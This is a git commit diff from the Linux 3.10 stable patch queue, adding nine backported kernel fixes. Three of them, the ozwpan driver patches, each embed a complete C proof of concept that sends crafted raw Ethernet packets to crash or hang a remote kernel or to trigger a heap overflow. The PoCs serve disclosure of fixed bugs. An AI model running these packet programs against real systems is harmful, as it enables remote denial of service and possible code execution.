From: Greg Kroah-Hartman Date: Fri, 19 Jun 2015 19:29:18 +0000 (-0700) Subject: 3.10-stable patches X-Git-Tag: v3.10.81~9 X-Git-Url: http://git.ipfire.org/?a=commitdiff_plain;h=138db57fb66a3e4593dfa0843f6cd23760201588;p=thirdparty%2Fkernel%2Fstable-queue.git 3.10-stable patches added patches: cfg80211-wext-clear-sinfo-struct-before-calling-driver.patch drm-i915-fix-ddc-probe-for-passive-adapters.patch mips-fix-enabling-of-debug_stackoverflow.patch mm-memory_hotplug.c-set-zone-wait_table-to-null-after-freeing-it.patch ozwpan-divide-by-zero-leading-to-panic.patch ozwpan-unchecked-signed-subtraction-leads-to-dos.patch ozwpan-use-proper-check-to-prevent-heap-overflow.patch pata_octeon_cf-fix-broken-build.patch ring-buffer-benchmark-fix-the-wrong-sched_priority-of-producer.patch --- diff --git a/queue-3.10/cfg80211-wext-clear-sinfo-struct-before-calling-driver.patch b/queue-3.10/cfg80211-wext-clear-sinfo-struct-before-calling-driver.patch new file mode 100644 index 00000000000..002e75bd795 --- /dev/null +++ b/queue-3.10/cfg80211-wext-clear-sinfo-struct-before-calling-driver.patch @@ -0,0 +1,49 @@ +From 9c5a18a31b321f120efda412281bb9f610f84aa0 Mon Sep 17 00:00:00 2001 +From: Johannes Berg +Date: Tue, 9 Jun 2015 21:35:44 +0200 +Subject: cfg80211: wext: clear sinfo struct before calling driver + +From: Johannes Berg + +commit 9c5a18a31b321f120efda412281bb9f610f84aa0 upstream. + +Until recently, mac80211 overwrote all the statistics it could +provide when getting called, but it now relies on the struct +having been zeroed by the caller. This was always the case in +nl80211, but wext used a static struct which could even cause +values from one device leak to another. + +Using a static struct is OK (as even documented in a comment) +since the whole usage of this function and its return value is +always locked under RTNL. Not clearing the struct for calling +the driver has always been wrong though, since drivers were +free to only fill values they could report, so calling this +for one device and then for another would always have leaked +values from one to the other. + +Fix this by initializing the structure in question before the +driver method call. + +This fixes https://bugzilla.kernel.org/show_bug.cgi?id=99691 + +Reported-by: Gerrit Renker +Reported-by: Alexander Kaltsas +Signed-off-by: Johannes Berg +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman + +--- + net/wireless/wext-compat.c | 2 ++ + 1 file changed, 2 insertions(+) + +--- a/net/wireless/wext-compat.c ++++ b/net/wireless/wext-compat.c +@@ -1345,6 +1345,8 @@ static struct iw_statistics *cfg80211_wi + memcpy(bssid, wdev->current_bss->pub.bssid, ETH_ALEN); + wdev_unlock(wdev); + ++ memset(&sinfo, 0, sizeof(sinfo)); ++ + if (rdev_get_station(rdev, dev, bssid, &sinfo)) + return NULL; + diff --git a/queue-3.10/drm-i915-fix-ddc-probe-for-passive-adapters.patch b/queue-3.10/drm-i915-fix-ddc-probe-for-passive-adapters.patch new file mode 100644 index 00000000000..6ba5b63a05a --- /dev/null +++ b/queue-3.10/drm-i915-fix-ddc-probe-for-passive-adapters.patch @@ -0,0 +1,124 @@ +From 3f5f1554ee715639e78d9be87623ee82772537e0 Mon Sep 17 00:00:00 2001 +From: Jani Nikula +Date: Tue, 2 Jun 2015 19:21:15 +0300 +Subject: drm/i915: Fix DDC probe for passive adapters +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +From: Jani Nikula + +commit 3f5f1554ee715639e78d9be87623ee82772537e0 upstream. + +Passive DP->DVI/HDMI dongles on DP++ ports show up to the system as HDMI +devices, as they do not have a sink device in them to respond to any AUX +traffic. When probing these dongles over the DDC, sometimes they will +NAK the first attempt even though the transaction is valid and they +support the DDC protocol. The retry loop inside of +drm_do_probe_ddc_edid() would normally catch this case and try the +transaction again, resulting in success. + +That, however, was thwarted by the fix for [1]: + +commit 9292f37e1f5c79400254dca46f83313488093825 +Author: Eugeni Dodonov +Date: Thu Jan 5 09:34:28 2012 -0200 + + drm: give up on edid retries when i2c bus is not responding + +This added code to exit immediately if the return code from the +i2c_transfer function was -ENXIO in order to reduce the amount of time +spent in waiting for unresponsive or disconnected devices. That was +possible because the underlying i2c bit banging algorithm had retries of +its own (which, of course, were part of the reason for the bug the +commit fixes). + +Since its introduction in + +commit f899fc64cda8569d0529452aafc0da31c042df2e +Author: Chris Wilson +Date: Tue Jul 20 15:44:45 2010 -0700 + + drm/i915: use GMBUS to manage i2c links + +we've been flipping back and forth enabling the GMBUS transfers, but +we've settled since then. The GMBUS implementation does not do any +retries, however, bailing out of the drm_do_probe_ddc_edid() retry loop +on first encounter of -ENXIO. This, combined with Eugeni's commit, broke +the retry on -ENXIO. + +Retry GMBUS once on -ENXIO on first message to mitigate the issues with +passive adapters. + +This patch is based on the work, and commit message, by Todd Previte +. + +[1] https://bugs.freedesktop.org/show_bug.cgi?id=41059 + +v2: Don't retry if using bit banging. + +v3: Move retry within gmbux_xfer, retry only on first message. + +v4: Initialize GMBUS0 on retry (Ville). + +v5: Take index reads into account (Ville). + +Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=85924 +Cc: Todd Previte +Tested-by: Oliver Grafe (v2) +Tested-by: Jim Bride +Reviewed-by: Ville Syrjälä +Signed-off-by: Jani Nikula +Signed-off-by: Greg Kroah-Hartman + +--- + drivers/gpu/drm/i915/intel_i2c.c | 20 +++++++++++++++++--- + 1 file changed, 17 insertions(+), 3 deletions(-) + +--- a/drivers/gpu/drm/i915/intel_i2c.c ++++ b/drivers/gpu/drm/i915/intel_i2c.c +@@ -441,7 +441,7 @@ gmbus_xfer(struct i2c_adapter *adapter, + struct intel_gmbus, + adapter); + struct drm_i915_private *dev_priv = bus->dev_priv; +- int i, reg_offset; ++ int i = 0, inc, try = 0, reg_offset; + int ret = 0; + + mutex_lock(&dev_priv->gmbus_mutex); +@@ -453,12 +453,14 @@ gmbus_xfer(struct i2c_adapter *adapter, + + reg_offset = dev_priv->gpio_mmio_base; + ++retry: + I915_WRITE(GMBUS0 + reg_offset, bus->reg0); + +- for (i = 0; i < num; i++) { ++ for (; i < num; i += inc) { ++ inc = 1; + if (gmbus_is_index_read(msgs, i, num)) { + ret = gmbus_xfer_index_read(dev_priv, &msgs[i]); +- i += 1; /* set i to the index of the read xfer */ ++ inc = 2; /* an index read is two msgs */ + } else if (msgs[i].flags & I2C_M_RD) { + ret = gmbus_xfer_read(dev_priv, &msgs[i], 0); + } else { +@@ -530,6 +532,18 @@ clear_err: + adapter->name, msgs[i].addr, + (msgs[i].flags & I2C_M_RD) ? 'r' : 'w', msgs[i].len); + ++ /* ++ * Passive adapters sometimes NAK the first probe. Retry the first ++ * message once on -ENXIO for GMBUS transfers; the bit banging algorithm ++ * has retries internally. See also the retry loop in ++ * drm_do_probe_ddc_edid, which bails out on the first -ENXIO. ++ */ ++ if (ret == -ENXIO && i == 0 && try++ == 0) { ++ DRM_DEBUG_KMS("GMBUS [%s] NAK on first message, retry\n", ++ adapter->name); ++ goto retry; ++ } ++ + goto out; + + timeout: diff --git a/queue-3.10/mips-fix-enabling-of-debug_stackoverflow.patch b/queue-3.10/mips-fix-enabling-of-debug_stackoverflow.patch new file mode 100644 index 00000000000..eefd5272a8d --- /dev/null +++ b/queue-3.10/mips-fix-enabling-of-debug_stackoverflow.patch @@ -0,0 +1,40 @@ +From 5f35b9cd553fd64415b563497d05a563c988dbd6 Mon Sep 17 00:00:00 2001 +From: James Hogan +Date: Thu, 4 Jun 2015 13:25:27 +0100 +Subject: MIPS: Fix enabling of DEBUG_STACKOVERFLOW + +From: James Hogan + +commit 5f35b9cd553fd64415b563497d05a563c988dbd6 upstream. + +Commit 334c86c494b9 ("MIPS: IRQ: Add stackoverflow detection") added +kernel stack overflow detection, however it only enabled it conditional +upon the preprocessor definition DEBUG_STACKOVERFLOW, which is never +actually defined. The Kconfig option is called DEBUG_STACKOVERFLOW, +which manifests to the preprocessor as CONFIG_DEBUG_STACKOVERFLOW, so +switch it to using that definition instead. + +Fixes: 334c86c494b9 ("MIPS: IRQ: Add stackoverflow detection") +Signed-off-by: James Hogan +Cc: Ralf Baechle +Cc: Adam Jiang +Cc: linux-mips@linux-mips.org +Patchwork: http://patchwork.linux-mips.org/patch/10531/ +Signed-off-by: Ralf Baechle +Signed-off-by: Greg Kroah-Hartman + +--- + arch/mips/kernel/irq.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +--- a/arch/mips/kernel/irq.c ++++ b/arch/mips/kernel/irq.c +@@ -110,7 +110,7 @@ void __init init_IRQ(void) + #endif + } + +-#ifdef DEBUG_STACKOVERFLOW ++#ifdef CONFIG_DEBUG_STACKOVERFLOW + static inline void check_stack_overflow(void) + { + unsigned long sp; diff --git a/queue-3.10/mm-memory_hotplug.c-set-zone-wait_table-to-null-after-freeing-it.patch b/queue-3.10/mm-memory_hotplug.c-set-zone-wait_table-to-null-after-freeing-it.patch new file mode 100644 index 00000000000..ba9d23bbbe9 --- /dev/null +++ b/queue-3.10/mm-memory_hotplug.c-set-zone-wait_table-to-null-after-freeing-it.patch @@ -0,0 +1,94 @@ +From 85bd839983778fcd0c1c043327b14a046e979b39 Mon Sep 17 00:00:00 2001 +From: Gu Zheng +Date: Wed, 10 Jun 2015 11:14:43 -0700 +Subject: mm/memory_hotplug.c: set zone->wait_table to null after freeing it + +From: Gu Zheng + +commit 85bd839983778fcd0c1c043327b14a046e979b39 upstream. + +Izumi found the following oops when hot re-adding a node: + + BUG: unable to handle kernel paging request at ffffc90008963690 + IP: __wake_up_bit+0x20/0x70 + Oops: 0000 [#1] SMP + CPU: 68 PID: 1237 Comm: rs:main Q:Reg Not tainted 4.1.0-rc5 #80 + Hardware name: FUJITSU PRIMEQUEST2800E/SB, BIOS PRIMEQUEST 2000 Series BIOS Version 1.87 04/28/2015 + task: ffff880838df8000 ti: ffff880017b94000 task.ti: ffff880017b94000 + RIP: 0010:[] [] __wake_up_bit+0x20/0x70 + RSP: 0018:ffff880017b97be8 EFLAGS: 00010246 + RAX: ffffc90008963690 RBX: 00000000003c0000 RCX: 000000000000a4c9 + RDX: 0000000000000000 RSI: ffffea101bffd500 RDI: ffffc90008963648 + RBP: ffff880017b97c08 R08: 0000000002000020 R09: 0000000000000000 + R10: 0000000000000000 R11: 0000000000000000 R12: ffff8a0797c73800 + R13: ffffea101bffd500 R14: 0000000000000001 R15: 00000000003c0000 + FS: 00007fcc7ffff700(0000) GS:ffff880874800000(0000) knlGS:0000000000000000 + CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 + CR2: ffffc90008963690 CR3: 0000000836761000 CR4: 00000000001407e0 + Call Trace: + unlock_page+0x6d/0x70 + generic_write_end+0x53/0xb0 + xfs_vm_write_end+0x29/0x80 [xfs] + generic_perform_write+0x10a/0x1e0 + xfs_file_buffered_aio_write+0x14d/0x3e0 [xfs] + xfs_file_write_iter+0x79/0x120 [xfs] + __vfs_write+0xd4/0x110 + vfs_write+0xac/0x1c0 + SyS_write+0x58/0xd0 + system_call_fastpath+0x12/0x76 + Code: 5d c3 66 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 55 48 89 e5 48 83 ec 20 65 48 8b 04 25 28 00 00 00 48 89 45 f8 31 c0 48 8d 47 48 <48> 39 47 48 48 c7 45 e8 00 00 00 00 48 c7 45 f0 00 00 00 00 48 + RIP [] __wake_up_bit+0x20/0x70 + RSP + CR2: ffffc90008963690 + +Reproduce method (re-add a node):: + Hot-add nodeA --> remove nodeA --> hot-add nodeA (panic) + +This seems an use-after-free problem, and the root cause is +zone->wait_table was not set to *NULL* after free it in +try_offline_node. + +When hot re-add a node, we will reuse the pgdat of it, so does the zone +struct, and when add pages to the target zone, it will init the zone +first (including the wait_table) if the zone is not initialized. The +judgement of zone initialized is based on zone->wait_table: + + static inline bool zone_is_initialized(struct zone *zone) + { + return !!zone->wait_table; + } + +so if we do not set the zone->wait_table to *NULL* after free it, the +memory hotplug routine will skip the init of new zone when hot re-add +the node, and the wait_table still points to the freed memory, then we +will access the invalid address when trying to wake up the waiting +people after the i/o operation with the page is done, such as mentioned +above. + +Signed-off-by: Gu Zheng +Reported-by: Taku Izumi +Reviewed by: Yasuaki Ishimatsu +Cc: KAMEZAWA Hiroyuki +Cc: Tang Chen +Signed-off-by: Andrew Morton +Signed-off-by: Linus Torvalds +Signed-off-by: Greg Kroah-Hartman + +--- + mm/memory_hotplug.c | 4 +++- + 1 file changed, 3 insertions(+), 1 deletion(-) + +--- a/mm/memory_hotplug.c ++++ b/mm/memory_hotplug.c +@@ -1803,8 +1803,10 @@ void try_offline_node(int nid) + * wait_table may be allocated from boot memory, + * here only free if it's allocated by vmalloc. + */ +- if (is_vmalloc_addr(zone->wait_table)) ++ if (is_vmalloc_addr(zone->wait_table)) { + vfree(zone->wait_table); ++ zone->wait_table = NULL; ++ } + } + } + EXPORT_SYMBOL(try_offline_node); diff --git a/queue-3.10/ozwpan-divide-by-zero-leading-to-panic.patch b/queue-3.10/ozwpan-divide-by-zero-leading-to-panic.patch new file mode 100644 index 00000000000..859aa2e0a40 --- /dev/null +++ b/queue-3.10/ozwpan-divide-by-zero-leading-to-panic.patch @@ -0,0 +1,181 @@ +From 04bf464a5dfd9ade0dda918e44366c2c61fce80b Mon Sep 17 00:00:00 2001 +From: "Jason A. Donenfeld" +Date: Fri, 29 May 2015 13:07:00 +0200 +Subject: ozwpan: divide-by-zero leading to panic + +From: "Jason A. Donenfeld" + +commit 04bf464a5dfd9ade0dda918e44366c2c61fce80b upstream. + +A network supplied parameter was not checked before division, leading to +a divide-by-zero. Since this happens in the softirq path, it leads to a +crash. A PoC follows below, which requires the ozprotocol.h file from +this module. + +=-=-=-=-=-= + + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + + #define u8 uint8_t + #define u16 uint16_t + #define u32 uint32_t + #define __packed __attribute__((__packed__)) + #include "ozprotocol.h" + +static int hex2num(char c) +{ + if (c >= '0' && c <= '9') + return c - '0'; + if (c >= 'a' && c <= 'f') + return c - 'a' + 10; + if (c >= 'A' && c <= 'F') + return c - 'A' + 10; + return -1; +} +static int hwaddr_aton(const char *txt, uint8_t *addr) +{ + int i; + for (i = 0; i < 6; i++) { + int a, b; + a = hex2num(*txt++); + if (a < 0) + return -1; + b = hex2num(*txt++); + if (b < 0) + return -1; + *addr++ = (a << 4) | b; + if (i < 5 && *txt++ != ':') + return -1; + } + return 0; +} + +int main(int argc, char *argv[]) +{ + if (argc < 3) { + fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]); + return 1; + } + + uint8_t dest_mac[6]; + if (hwaddr_aton(argv[2], dest_mac)) { + fprintf(stderr, "Invalid mac address.\n"); + return 1; + } + + int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); + if (sockfd < 0) { + perror("socket"); + return 1; + } + + struct ifreq if_idx; + int interface_index; + strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1); + if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) { + perror("SIOCGIFINDEX"); + return 1; + } + interface_index = if_idx.ifr_ifindex; + if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) { + perror("SIOCGIFHWADDR"); + return 1; + } + uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data; + + struct { + struct ether_header ether_header; + struct oz_hdr oz_hdr; + struct oz_elt oz_elt; + struct oz_elt_connect_req oz_elt_connect_req; + struct oz_elt oz_elt2; + struct oz_multiple_fixed oz_multiple_fixed; + } __packed packet = { + .ether_header = { + .ether_type = htons(OZ_ETHERTYPE), + .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, + .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } + }, + .oz_hdr = { + .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), + .last_pkt_num = 0, + .pkt_num = htole32(0) + }, + .oz_elt = { + .type = OZ_ELT_CONNECT_REQ, + .length = sizeof(struct oz_elt_connect_req) + }, + .oz_elt_connect_req = { + .mode = 0, + .resv1 = {0}, + .pd_info = 0, + .session_id = 0, + .presleep = 0, + .ms_isoc_latency = 0, + .host_vendor = 0, + .keep_alive = 0, + .apps = htole16((1 << OZ_APPID_USB) | 0x1), + .max_len_div16 = 0, + .ms_per_isoc = 0, + .up_audio_buf = 0, + .ms_per_elt = 0 + }, + .oz_elt2 = { + .type = OZ_ELT_APP_DATA, + .length = sizeof(struct oz_multiple_fixed) + }, + .oz_multiple_fixed = { + .app_id = OZ_APPID_USB, + .elt_seq_num = 0, + .type = OZ_USB_ENDPOINT_DATA, + .endpoint = 0, + .format = OZ_DATA_F_MULTIPLE_FIXED, + .unit_size = 0, + .data = {0} + } + }; + + struct sockaddr_ll socket_address = { + .sll_ifindex = interface_index, + .sll_halen = ETH_ALEN, + .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } + }; + + if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { + perror("sendto"); + return 1; + } + return 0; +} + +Signed-off-by: Jason A. Donenfeld +Acked-by: Dan Carpenter +Signed-off-by: Greg Kroah-Hartman + +--- + drivers/staging/ozwpan/ozusbsvc1.c | 5 ++++- + 1 file changed, 4 insertions(+), 1 deletion(-) + +--- a/drivers/staging/ozwpan/ozusbsvc1.c ++++ b/drivers/staging/ozwpan/ozusbsvc1.c +@@ -314,7 +314,10 @@ static void oz_usb_handle_ep_data(struct + struct oz_multiple_fixed *body = + (struct oz_multiple_fixed *)data_hdr; + u8 *data = body->data; +- int n = (len - sizeof(struct oz_multiple_fixed)+1) ++ int n; ++ if (!body->unit_size) ++ break; ++ n = (len - sizeof(struct oz_multiple_fixed)+1) + / body->unit_size; + while (n--) { + oz_hcd_data_ind(usb_ctx->hport, body->endpoint, diff --git a/queue-3.10/ozwpan-unchecked-signed-subtraction-leads-to-dos.patch b/queue-3.10/ozwpan-unchecked-signed-subtraction-leads-to-dos.patch new file mode 100644 index 00000000000..12dc1744caa --- /dev/null +++ b/queue-3.10/ozwpan-unchecked-signed-subtraction-leads-to-dos.patch @@ -0,0 +1,186 @@ +From 9a59029bc218b48eff8b5d4dde5662fd79d3e1a8 Mon Sep 17 00:00:00 2001 +From: "Jason A. Donenfeld" +Date: Fri, 29 May 2015 13:07:01 +0200 +Subject: ozwpan: unchecked signed subtraction leads to DoS + +From: "Jason A. Donenfeld" + +commit 9a59029bc218b48eff8b5d4dde5662fd79d3e1a8 upstream. + +The subtraction here was using a signed integer and did not have any +bounds checking at all. This commit adds proper bounds checking, made +easy by use of an unsigned integer. This way, a single packet won't be +able to remotely trigger a massive loop, locking up the system for a +considerable amount of time. A PoC follows below, which requires +ozprotocol.h from this module. + +=-=-=-=-=-= + + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + + #define u8 uint8_t + #define u16 uint16_t + #define u32 uint32_t + #define __packed __attribute__((__packed__)) + #include "ozprotocol.h" + +static int hex2num(char c) +{ + if (c >= '0' && c <= '9') + return c - '0'; + if (c >= 'a' && c <= 'f') + return c - 'a' + 10; + if (c >= 'A' && c <= 'F') + return c - 'A' + 10; + return -1; +} +static int hwaddr_aton(const char *txt, uint8_t *addr) +{ + int i; + for (i = 0; i < 6; i++) { + int a, b; + a = hex2num(*txt++); + if (a < 0) + return -1; + b = hex2num(*txt++); + if (b < 0) + return -1; + *addr++ = (a << 4) | b; + if (i < 5 && *txt++ != ':') + return -1; + } + return 0; +} + +int main(int argc, char *argv[]) +{ + if (argc < 3) { + fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]); + return 1; + } + + uint8_t dest_mac[6]; + if (hwaddr_aton(argv[2], dest_mac)) { + fprintf(stderr, "Invalid mac address.\n"); + return 1; + } + + int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); + if (sockfd < 0) { + perror("socket"); + return 1; + } + + struct ifreq if_idx; + int interface_index; + strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1); + if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) { + perror("SIOCGIFINDEX"); + return 1; + } + interface_index = if_idx.ifr_ifindex; + if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) { + perror("SIOCGIFHWADDR"); + return 1; + } + uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data; + + struct { + struct ether_header ether_header; + struct oz_hdr oz_hdr; + struct oz_elt oz_elt; + struct oz_elt_connect_req oz_elt_connect_req; + struct oz_elt oz_elt2; + struct oz_multiple_fixed oz_multiple_fixed; + } __packed packet = { + .ether_header = { + .ether_type = htons(OZ_ETHERTYPE), + .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, + .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } + }, + .oz_hdr = { + .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), + .last_pkt_num = 0, + .pkt_num = htole32(0) + }, + .oz_elt = { + .type = OZ_ELT_CONNECT_REQ, + .length = sizeof(struct oz_elt_connect_req) + }, + .oz_elt_connect_req = { + .mode = 0, + .resv1 = {0}, + .pd_info = 0, + .session_id = 0, + .presleep = 0, + .ms_isoc_latency = 0, + .host_vendor = 0, + .keep_alive = 0, + .apps = htole16((1 << OZ_APPID_USB) | 0x1), + .max_len_div16 = 0, + .ms_per_isoc = 0, + .up_audio_buf = 0, + .ms_per_elt = 0 + }, + .oz_elt2 = { + .type = OZ_ELT_APP_DATA, + .length = sizeof(struct oz_multiple_fixed) - 3 + }, + .oz_multiple_fixed = { + .app_id = OZ_APPID_USB, + .elt_seq_num = 0, + .type = OZ_USB_ENDPOINT_DATA, + .endpoint = 0, + .format = OZ_DATA_F_MULTIPLE_FIXED, + .unit_size = 1, + .data = {0} + } + }; + + struct sockaddr_ll socket_address = { + .sll_ifindex = interface_index, + .sll_halen = ETH_ALEN, + .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } + }; + + if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { + perror("sendto"); + return 1; + } + return 0; +} + +Signed-off-by: Jason A. Donenfeld +Acked-by: Dan Carpenter +Signed-off-by: Greg Kroah-Hartman + +--- + drivers/staging/ozwpan/ozusbsvc1.c | 7 ++++--- + 1 file changed, 4 insertions(+), 3 deletions(-) + +--- a/drivers/staging/ozwpan/ozusbsvc1.c ++++ b/drivers/staging/ozwpan/ozusbsvc1.c +@@ -314,10 +314,11 @@ static void oz_usb_handle_ep_data(struct + struct oz_multiple_fixed *body = + (struct oz_multiple_fixed *)data_hdr; + u8 *data = body->data; +- int n; +- if (!body->unit_size) ++ unsigned int n; ++ if (!body->unit_size || ++ len < sizeof(struct oz_multiple_fixed) - 1) + break; +- n = (len - sizeof(struct oz_multiple_fixed)+1) ++ n = (len - (sizeof(struct oz_multiple_fixed) - 1)) + / body->unit_size; + while (n--) { + oz_hcd_data_ind(usb_ctx->hport, body->endpoint, diff --git a/queue-3.10/ozwpan-use-proper-check-to-prevent-heap-overflow.patch b/queue-3.10/ozwpan-use-proper-check-to-prevent-heap-overflow.patch new file mode 100644 index 00000000000..0dbaa271121 --- /dev/null +++ b/queue-3.10/ozwpan-use-proper-check-to-prevent-heap-overflow.patch @@ -0,0 +1,215 @@ +From d114b9fe78c8d6fc6e70808c2092aa307c36dc8e Mon Sep 17 00:00:00 2001 +From: "Jason A. Donenfeld" +Date: Fri, 29 May 2015 13:06:58 +0200 +Subject: ozwpan: Use proper check to prevent heap overflow + +From: "Jason A. Donenfeld" + +commit d114b9fe78c8d6fc6e70808c2092aa307c36dc8e upstream. + +Since elt->length is a u8, we can make this variable a u8. Then we can +do proper bounds checking more easily. Without this, a potentially +negative value is passed to the memcpy inside oz_hcd_get_desc_cnf, +resulting in a remotely exploitable heap overflow with network +supplied data. + +This could result in remote code execution. A PoC which obtains DoS +follows below. It requires the ozprotocol.h file from this module. + +=-=-=-=-=-= + + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + + #define u8 uint8_t + #define u16 uint16_t + #define u32 uint32_t + #define __packed __attribute__((__packed__)) + #include "ozprotocol.h" + +static int hex2num(char c) +{ + if (c >= '0' && c <= '9') + return c - '0'; + if (c >= 'a' && c <= 'f') + return c - 'a' + 10; + if (c >= 'A' && c <= 'F') + return c - 'A' + 10; + return -1; +} +static int hwaddr_aton(const char *txt, uint8_t *addr) +{ + int i; + for (i = 0; i < 6; i++) { + int a, b; + a = hex2num(*txt++); + if (a < 0) + return -1; + b = hex2num(*txt++); + if (b < 0) + return -1; + *addr++ = (a << 4) | b; + if (i < 5 && *txt++ != ':') + return -1; + } + return 0; +} + +int main(int argc, char *argv[]) +{ + if (argc < 3) { + fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]); + return 1; + } + + uint8_t dest_mac[6]; + if (hwaddr_aton(argv[2], dest_mac)) { + fprintf(stderr, "Invalid mac address.\n"); + return 1; + } + + int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); + if (sockfd < 0) { + perror("socket"); + return 1; + } + + struct ifreq if_idx; + int interface_index; + strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1); + if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) { + perror("SIOCGIFINDEX"); + return 1; + } + interface_index = if_idx.ifr_ifindex; + if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) { + perror("SIOCGIFHWADDR"); + return 1; + } + uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data; + + struct { + struct ether_header ether_header; + struct oz_hdr oz_hdr; + struct oz_elt oz_elt; + struct oz_elt_connect_req oz_elt_connect_req; + } __packed connect_packet = { + .ether_header = { + .ether_type = htons(OZ_ETHERTYPE), + .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, + .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } + }, + .oz_hdr = { + .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), + .last_pkt_num = 0, + .pkt_num = htole32(0) + }, + .oz_elt = { + .type = OZ_ELT_CONNECT_REQ, + .length = sizeof(struct oz_elt_connect_req) + }, + .oz_elt_connect_req = { + .mode = 0, + .resv1 = {0}, + .pd_info = 0, + .session_id = 0, + .presleep = 35, + .ms_isoc_latency = 0, + .host_vendor = 0, + .keep_alive = 0, + .apps = htole16((1 << OZ_APPID_USB) | 0x1), + .max_len_div16 = 0, + .ms_per_isoc = 0, + .up_audio_buf = 0, + .ms_per_elt = 0 + } + }; + + struct { + struct ether_header ether_header; + struct oz_hdr oz_hdr; + struct oz_elt oz_elt; + struct oz_get_desc_rsp oz_get_desc_rsp; + } __packed pwn_packet = { + .ether_header = { + .ether_type = htons(OZ_ETHERTYPE), + .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, + .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } + }, + .oz_hdr = { + .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), + .last_pkt_num = 0, + .pkt_num = htole32(1) + }, + .oz_elt = { + .type = OZ_ELT_APP_DATA, + .length = sizeof(struct oz_get_desc_rsp) - 2 + }, + .oz_get_desc_rsp = { + .app_id = OZ_APPID_USB, + .elt_seq_num = 0, + .type = OZ_GET_DESC_RSP, + .req_id = 0, + .offset = htole16(0), + .total_size = htole16(0), + .rcode = 0, + .data = {0} + } + }; + + struct sockaddr_ll socket_address = { + .sll_ifindex = interface_index, + .sll_halen = ETH_ALEN, + .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } + }; + + if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { + perror("sendto"); + return 1; + } + usleep(300000); + if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { + perror("sendto"); + return 1; + } + return 0; +} + +Signed-off-by: Jason A. Donenfeld +Acked-by: Dan Carpenter +Signed-off-by: Greg Kroah-Hartman + +--- + drivers/staging/ozwpan/ozusbsvc1.c | 13 +++++++++---- + 1 file changed, 9 insertions(+), 4 deletions(-) + +--- a/drivers/staging/ozwpan/ozusbsvc1.c ++++ b/drivers/staging/ozwpan/ozusbsvc1.c +@@ -376,10 +376,15 @@ void oz_usb_rx(struct oz_pd *pd, struct + case OZ_GET_DESC_RSP: { + struct oz_get_desc_rsp *body = + (struct oz_get_desc_rsp *)usb_hdr; +- int data_len = elt->length - +- sizeof(struct oz_get_desc_rsp) + 1; +- u16 offs = le16_to_cpu(get_unaligned(&body->offset)); +- u16 total_size = ++ u16 offs, total_size; ++ u8 data_len; ++ ++ if (elt->length < sizeof(struct oz_get_desc_rsp) - 1) ++ break; ++ data_len = elt->length - ++ (sizeof(struct oz_get_desc_rsp) - 1); ++ offs = le16_to_cpu(get_unaligned(&body->offset)); ++ total_size = + le16_to_cpu(get_unaligned(&body->total_size)); + oz_trace("USB_REQ_GET_DESCRIPTOR - cnf\n"); + oz_hcd_get_desc_cnf(usb_ctx->hport, body->req_id, diff --git 